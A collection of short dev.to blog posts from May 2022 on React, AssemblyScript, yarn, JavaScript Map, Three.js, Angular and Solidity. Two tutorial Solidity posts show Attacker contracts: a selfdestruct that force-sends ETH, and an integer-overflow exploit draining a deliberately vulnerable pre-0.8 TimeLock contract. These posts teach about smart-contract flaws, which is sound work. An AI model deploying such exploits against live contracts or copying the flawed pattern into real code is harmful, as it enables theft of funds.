teleren/devto huggingface dataset:
React useEffect Dependency Warnings?!
Tags: react, codenewbie, webdev, tutorial
Published: 2022-05-14 22:33:34

I'm nearing the end of phase 2 of the Flatiron Software Engineering bootcamp. React was the focus of this phase and, honestly, it was a lot of fun. I really enjoyed learning about props, states, events, controlled components, side effects, client-side routing, etc. However, there was one area of React that was causing some confusion for me... ESLint kept warning me of missing dependencies when using the useEffect hook.

## useEffect
The useEffect hook allows us to call a function that is passed into it whenever a component renders. To prevent the function from being called with every render (e.g. when we want to fetch data from an API only once), we provide useEffect with a dependencies array.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a9uvhi7diiimsltnirkj.png)
 
In the example above, I'm providing the useEffect hook with an empty array as its dependency. This tells React that it only needs to run this function once.

## ESLint Dependency Warning
If, however, our function inside the useEffect hook contains props and/or states, we need to add these as dependencies within the dependency array.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qtfoeldbdjgfigmom1pp.png)

In this example, notice that I'm only including the "currentAircraft" state as the sole dependency. This is all React requires us to include. The setter function "setCurrentAircraft" isn't a state or a prop, it's a function and therefore, is not a dependency. However, ESLint will underline the depenedency array with the message `React Hook useEffect has a missing dependency: 'setCurrentAircraft'. Either include it or remove the dependency`. It doesn't hurt to include the setter function as a dependency to appease the warning. But I wanted to find a better solution.

After some forum and documentation searching, I found a great solution in this [stack overflow post](https://stackoverflow.com/questions/61711085/why-react-expects-me-to-add-setters-as-useeffects-dependencies). In the highest scoring solution, Shubham Khatri recommends adding the `eslint-disable-next-line` comment above the dependencies line. So our example above would now look like this:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/syutj5uasnrvkie2czr9.png)

Reading through the ESLint github, it seems that ESLint isn't able to determine if a dependency is a setter function. At least not yet. Therefore, this workaround is necessary if you dislike the nagging of false warnings. I suppose you could just ignore the warning :)

If you have a different way to deal with this warning, or my interpretation of the warning is a little off, please let me know in the comments! After all, I'm no React expert... yet.

Photo by [Lautaro Andreani](https://unsplash.com/@lautaroandreani?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/react?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)
So, you can benchmark in AssemblyScript...
Tags: assemblyscript, webassembly, programming, webdev
Published: 2022-05-14 22:18:36

Introducing... [Astral](https://github.com/romdotdog/as-tral)--A minimalistic benchmarking library for AssemblyScript. Based off of criterion.rs.
With this new benchmarking tool, we are able to easily visualize and optimize performance in our code precisely. Usually, we would have to use a while loop and `Date.now` or `performance.now` bindings to measure performance. Astral adds warmup periods, logging, and a few other tools. Lets get started!
In an existing AssemblyScript project, install as-tral.
```
npm i -D @as-tral/cli
```
Next, create a __benches__ folder in your assembly directory. Add a file named as-tral.d.ts in there.
```
assembly/
└── __benches__/
    └── as-tral.d.ts
```
In as-tral.d.ts, copy and paste
```
/// <reference path="../../node_modules/@as-tral/cli/as-tral.d.ts" />
```
Stick any file with a .ts extension in __benches__. You can even have multiple.
```
assembly/
└── __benches__/
    ├── as-tral.d.ts
    └── my-benchmark.ts
```
Your benchmark will live in this file. Let's create an example benchmark.
```js
// to ensure accurate benchmarks, we must make sure that binaryen doesn't do any sneaky
// optimizations on our input without us knowing. Thus, we must use `blackbox`.
const input = blackbox("The quick brown fox jumped over the lazy dog.".repeat(10));

// our string here must be a compile time constant.
// open an issue if you'd like to see this constraint lifted.
bench("string split", () => {
    // this function body will be run many times.
    // we must make sure our compiler won't throw away the computation,
    // so we use `blackbox` here again.
    blackbox(input.split(" "));
});
```
Now, let's run as-tral.
```
rom@i9-cabin:~/demo$ npx astral
Compiling assembly/__benches__/hello.ts

Benchmarking string split: Warming up for 3000ms
Benchmarking string split: Collecting 100 samples in estimated 5018.6ms (1.2M iterations)
Benchmarking string split: Analyzing
string split            time: [3770.9ns 3775ns 3778.9ns]
Found 4 outliers among 100 measurements (4%)
  3 (3%) low mild
  1 (1%) high mild
```
Pretty great!
The Weekly Dev - 202220
Published: 2022-05-14 21:52:55

---
title: The Weekly Dev - 202220
published: true
description: 
tags: 
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j257gh5vnqaycvcqj594.png
canonical_url: 'https://kevwe.com/weekly/202220'
---
Know the limits

You have a lot of good ideas and have exactly what it takes to implement them in software. Maybe not the time to follow up with all of them, you have priorities, bu something, eventually, gets done.

It's not just that it needs to work, it needs to support the scale and the averse conditions of real usage.

Don't get obsessed by tests, but rather get something working and take real feedback.

You will be surprised if people even use your product. And if they do... it'll need to scale.

You don't need to be ${big-privacy-offender} to think of scaling. It's not some sort of hybris, it is simply what it takes to have a system able to grow as much as it's needed.

Having a system that hallows you to take down part of it without failing on you.

A system that is reliable enough to be boring and not behave in surprising ways when some extra load is applied.

All of that you can measure, and it is an illuminating moment, to understand the limits of your creation or - rather - the interval in which you should aspect it to work, and how.

It's not like creating new systems, but sometimes it even feels better.

https://kevwe.com/weekly/202220
Hello fellow developers!
Tags: beginners, webdev, linux, serverless
Published: 2022-05-14 21:31:28

I'm so excited to be a part of the dev.to the community! There are some great people here. I love how everyone can share ideas and learn from each other.

Why not follow each other? It would be great to learn something new.

As an introduction:

I am a fan of Linux, serverless, and code. I work by day at a SaaS provider that uses lots of Cloud tech. During the night, I code to my heart's content on little side projects as a form of meditation.
Navigation App Architecture on Apple eyes
Tags: swift, swiftui, xcode, ios
Published: 2022-05-14 20:48:12

**A visual on Apple human interface guidelines for navigation on iOS.**

If you are like me and love learning by seeing visuals or flows about some programming or UI/UX topics, I hope you enjoy this mind node that I created about how the Navigation should be on iOS on Apple eyes. 

![A visual on Apple human interface guidelines for navigation on iOS](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/un0p3v3ldn2a6hn0u1l2.png)

You can download it and use it as your need. 🚀

### References

- https://amarildo.codes/navigation-app-architecture-on-apple-eyes
- https://developer.apple.com/design/human-interface-guidelines/ios/app-architecture/navigation/
Changing ourselves
Published: 2022-05-14 20:38:12

Life is a series of difficulties and challenges that require each of us to strive and change ourselves constantly to be able to adapt to each situation, each case. Therefore, self-change has a great significance and is one of the factors to make success. Changing ourselves means that we change our conception, ideology, thinking, learning style and working, ... to suit each situation. Life is the passage of time, therefore, life is changing every day, even every minute. Therefore, we need to change ourselves to get new methods, modern and progressive new ways of working, to meet the needs of work and society. For example, in each exam, we need to pay more attention to the changes in the exam regulations, the way in which we can change the study direction, and review the exam in accordance with the exam structure of the Ministry of Education. . However, the change in oneself is only really meaningful when we understand our work and our own capabilities, change in a positive direction, in accordance with individual abilities. If we change without a plan, we cannot grasp the core problem, the change will not only cause time and effort, but also affect the quality of work. Thus, to be able to change ourselves in a positive and progressive direction, we need to open up and continuously grasp the work situation, choose the right time to change to suit the ability of self and social conditions.
[Solved] Error: There are no scenarios; must have at least one. Yarn Error
Published: 2022-05-14 20:37:34


### Problem:

Running into the following error when trying to run yarn via the `yarn` command on Ubuntu:

```
00h00m00s 0/0: : ERROR: There are no scenarios; must have at least one.
```

This error is encounter after installing `cmdtest` via the command: `sudo apt install cmdtest`

### Solution:

This error is usually indictive of `yarn` not being properly installed. Run the following commands and see if running `yarn` is successfully afterwards:

```
sudo apt remove cmdtest
sudo apt install npm
sudo npm install -g yarn
```

## Conclusion

Thanks for reading this blog post!

If you have any questions or concerns please feel free to post a comment in this post and I will get back to you when I find the time.

If you found this article helpful please share it and make sure to follow me on [Twitter](https://twitter.com/SeanAtukorala) and [GitHub](https://github.com/ShehanAT), connect with me on [LinkedIn](https://www.linkedin.com/in/shehan-atukorala-8631491a5/) and subscribe to my [YouTube channel](https://www.youtube.com/channel/UCtxed_NljgtAXrQMMdLvhrQ).
What is your favorite programming font?
Tags: programming, discuss, javascript, webdev
Published: 2022-05-14 20:36:53

There are tons of options! I used [Source Code Pro](https://fonts.google.com/specimen/Source+Code+Pro) for a long time, but some time ago I decided to try [Iosevka](https://github.com/be5invis/Iosevka), what font are you using right now for programming?

![Iosevka Font](https://upload.wikimedia.org/wikipedia/commons/thumb/6/6e/Iosevka_sample.svg/1200px-Iosevka_sample.svg.png)
About El Salvador Buying BTC
Tags: javascript, webdev, beginners, programming
Published: 2022-05-14 20:25:05

On Monday, El Salvador’s President Nayib Bukele said on social media that the country had bought 500 bitcoins. This is the largest single Bitcoin purchase by El Salvador since September 2021.

Nayib Bukele said the average price for these bitcoins in El Salvador was $30,744.

Data show that El Salvador has bought a total of 2,301 bitcoins since it recognized bitcoin as legal tender in September last year. Those bitcoins are worth around $71.7 million at current market prices.

After hitting an all-time high in November last year, Bitcoin is tumbling lower in 2022, having fallen more than 50% from its all-time high.

As of writing, Bitcoin fell to $31,000, and once fell below $30,000 in the Asian morning market.
Force Send ETH - 1
Tags: solidity, security, bestpractice
Published: 2022-05-14 20:18:30

---series: Security Vulnerabilities---

This vulnerability is due to a famous solidity functionality:

`selfdestruct(payable(addressThat))`, this is used to send all the ETH present in a contract to another contract at addressThat. `selfdestruct` is operation at EVM level which clears all data from the contract and frees up space on the blockchain.
 
It is also quite cheaper than `addressThat.send(this.balance)` to send all eth to some other contract.


Let's see this with an example:

``` solidity
contract dontWant { // no payable function, hence can't recieve eth
    function something() external pure returns(uint) {
        return 1;
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
```
Attacker:

``` solidity
contract Attacker {
    receive() external payable { // we will send ether to this contract

    }

    function attack(address _dontWant) payable external { // this contract will forecfully send all ether to dontWant
        selfdestruct(payable(_dontWant));
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
```
When we send some ETH to `Attacker` contract and call `attack()` function, `dontWant` recieves ETH.


Any contract can send ETH to any other contract (even if receiver contract has no receive/fallback function) using `selfdestruct`. 
But why is this a vulnerability in the first place? What's wrong in recieving free ETH? 
You will get answers these in the next post ([Force Send ETH - 2](https://dev.to/rushanksavant/force-send-eth-2-5b1l))
Ruby Module Enumerable Is Your Hidden Friend
Tags: ruby, documentation, enumerable
Published: 2022-05-14 20:18:30

---
title: Ruby Module Enumerable Is Your Hidden Friend
published: true
description: 
tags: ruby, documentation, enumerable
---

It's easy to forget that a class in the Ruby core and standard library may "mix in" a module by including or extending it.

The automatically-generated documentation has a linked mention of the inclusion ("Included Modules: [Enumerable](https://docs.ruby-lang.org/en/master/Enumerable.html)"), but that's it.

For an including class that has a "What's Here" section (my handiwork, btw!), there's a slightly heftier mention.  In Array, for example, there's this linked mention:  "Includes module [Enumerable](https://docs.ruby-lang.org/en/master/Enumerable.html), which provides dozens of additional methods."

It may be good to know:
- Which [Ruby classes include or extend Enumerable](https://docs.ruby-lang.org/en/master/Enumerable.html#module-Enumerable-label-Enumerable+in+Ruby+Classes).

- Enumerable itself has a ["What's Here" section](https://docs.ruby-lang.org/en/master/Enumerable.html#module-Enumerable-label-What-27s+Here) that you may find informative.
JavaScript - Map
Tags: javascript, webdev, beginners, programming
Published: 2022-05-14 20:15:45

Hey 👋, hope y'all are well! Lets talk about `Map` in JavaScript!

## Map 🗺️

Map in JavaScript (JS) allow you to store information/data using a key-value relationship. But wait... isn't that the same as an `Object` in JS? Map does return `Object` when you use `typeof` but it is not exactly the same. They are very similar in nature but they have distinct differences that determine their uses. 

So what are these distinct differences? Well, if you are using `Object` the keys must be a `String` or `Symbol` datatype whereas the keys in `Map` can be any datatype including `Function` and `Object`. Another thing is that to find the size of an `Object` you must do it manually, e.g. grabbing all the keys using `Object.keys()` then counting the length. But, `Map` has a property `.size` which return the size of the `Map`. 

Additionally, Objects are not directly iterable while with Maps you can. 

Example: `Map` comes with its own methods and you can see some of them below.

```js
const cypher = {name: "Cypher", color: "white"};
const raze = {name: "Raze", color: "orange"};
const omen = {name: "Omen", color: "blue"};

const characterRoles = new Map(); // create an empty Map.

// add new data

characterRoles.set(cypher, "sentinel");

// you can chain the method to add multiple entries
characterRoles.set(raze, "duelist")
   .set(omen, "smokes");

// check size
characterRoles.size // 3

// iterable
characterRoles.forEach((role, char) => {
    console.log(char.name + " is a " + role)
});

// Cypher is a sentinel
// Raze is a duelist
// Omen is a smokes
```

As I continue to learn more about Data Structure and Algorithm, I learnt that `Map` is JavaScript's equivalent to a Hashmap and have been using them to solve some problems. 

## Summary

To summarise, Map allow you to store data as key-value pairs that are not limited to `String` (or `Symbol`) datatype as keys. It also give you the ability to directly iterate through the data. Additionally, Maps have it's own properties and methods that you can use to add, access, edit, and delete the data in the collection.

Thank you for reading this short post, please leave a comment if you want to add information or give feedback 😀. 

![Anime character Itadori](https://staticg.sportskeeda.com/editor/2022/01/cbc36-16421825565301-1920.jpg)
Arithmetic overflow/underflow
Tags: solidity, security, bestpractice
Published: 2022-05-14 19:52:53

---series: Security Vulnerabilities---
As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.

First let us understand what underflow/overflow is:
- Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0 

  Eg: uint var1 = 2**256 - 1  <br>

  var1 + 1 will be 0 <br>
  var1 + 2 will be 1 <br>
- Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1) <br>

  Eg: uint var2 = 0<br>

  var2 -1 = 2**256 -1<br>
  var2 -2 = 2**256 -2<br>
 

Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.

```solidity
contract TimeLock {
    mapping (address => uint) public balances;
    mapping (address => uint) public lockTime;

    function deposit() external payable{ // to deposit
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] += block.timestamp + 1 weeks;
    }

    function withdraw() external { // to withdraw
        uint bal = balances[msg.sender]; 
        require(bal > 0, "No balance to withdraw");
        require(lockTime[msg.sender] <= block.timestamp, "Time left yet");

        balances[msg.sender] = 0; // updating before sending, to avoid reentrancy

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Send ETH failed");
    }

    function increaseTimeLimit(uint _seconds) external { // to increase lock time
        lockTime[msg.sender] += _seconds;
    }
}
```

Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow `lockTime[msg.sender]`. Once this is done, `require(lockTime[msg.sender] <= block.timestamp, "Time left yet");` in `withdraw()` function will pass (because `lockTime[msg.sender]` will be equal to a small number after overflow).

Let's see how attacker can achieve this:

```solidity
contract Attacker {
    TimeLock timeLockContract;
    receive() external payable{
    }

    constructor(address _timeLock) {
        timeLockContract = TimeLock(_timeLock);
    }

    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    function attack() external {
        timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
        timeLockContract.withdraw();      
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }

}
```

In the `attack()` function, we are using underflow to get a very big number: `timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));`. This big number is added to `lockTime[msg.sender]` in TimeLock contract to cause overflow. And hence the withdraw is executed.
Three.js infinite runner game
Tags: javascript, threejs, webdev
Published: 2022-05-14 19:38:40

check the project here [Confused Box](https://confusedbox.com)

## Project goal
The task was to create an infinite runner game that runs entirely on the web taking to account the performance while ensuring that the game is still fun to play.

Some of the biggest task that I had to overcome included;

-  making an infinite spawned tiles with different variations
-  making the game mechanics to react to user interactions.
-  Implementing third person Camera.
-  adding obstacles and rewards.
-  modeling the entities in a separate modeling software and 
importing them into the project.

with the very essential tasks being broken down into these simple steps I set out to creating the solution.

## Solution

#### Spawning tiles
Making infinite spawning of the the tiles was done by preloading a number of tiles before hand and then reusing them after they are out of the screen this helps to reduce the number of game objects generated thus increasing performance.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jk08nbx7o9r0f1rtqplb.png)

---
#### Game mechanics
The game mechanics was done by simply listening to user inputs and animating the game object based on them. Writing a simple script to listen to inputs and then emit custom events that can then be used to animate the player was the best solution for me.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lyfwxtdku0yupl0yyz6i.png)

---
#### Third Person camera
Implementing the third person camera was trivial. I first had to get the player position and then update the camera based on the player position. The camera had an ideal offset and ideal position to look at in front of the player.

---
#### Obstacles
With the obstacles, I made a separate class to handle spawning of the obstacles randomly along the track. The rewards were also spawned but less frequently compared to the obstacles. The rewards included a cash bag reward and a boost powerup.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yea1v7vaw9qb9h49i592.png)

---
#### Game Object modeling.
The modeling of the entities was done in blender together with texturing, lighting and modification of the meshes so as to avoid rendering a lot of triangles which would hurt the performance of the game. the models were also compressed during exportation for a smooth experience when loading them over the network.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3r5gl27h3pm46cgthw5z.png)

---
That's it for now. Reach out to me if you need any detailed explanations on any of the topic here on [twitter](https://twitter.com/ShujaaThe), and check out some of my work here on my [website](https://gideonshujaa.com).
SetInput en Angular
Tags: angular, typescript
Published: 2022-05-14 19:36:58


*Cuando queremos ejecutar cierta acción al recibir cierta propiedad en el componente, he utilizado el ciclo de vida `OnChanges`. Pero esto supone evaluar todos y cada uno de los cambios que suceden y tener que verificar si el cambio entrante es el que estamos esperando.* 

*Este método corre cada que un `Input()` recibe información del componente padre.*

Ej. Espero un objeto tipo Persona. Pero no quiero que se evalúe cada cambio. Sólo saber cuando se hace el cambio al recibir person.

```tsx
@Input() person: Person = new Person('', '', 0, 0, 0); 
@Input() year: number = 0;
@Input() month: number = 0;
@Input() lastName: string = '';
```

Esto se soluciona con `SetInput`. Requiere separar el `person` del `input()`. 

```tsx
person: Person = new Person('', '', 0, 0, 0); 
```

Al `Input()` se le agrega el `set` de los setters. Para que siempre que llegue información al `Input()` se ejecute el método `set`. De esa manera se mantiene controlado el cambio de `person`.

```tsx
person: Person = new Person('', '', 0, 0, 0);

@Input()
  set changePerson(newPerson: Person) {
    this.person = newPerson;
  }
```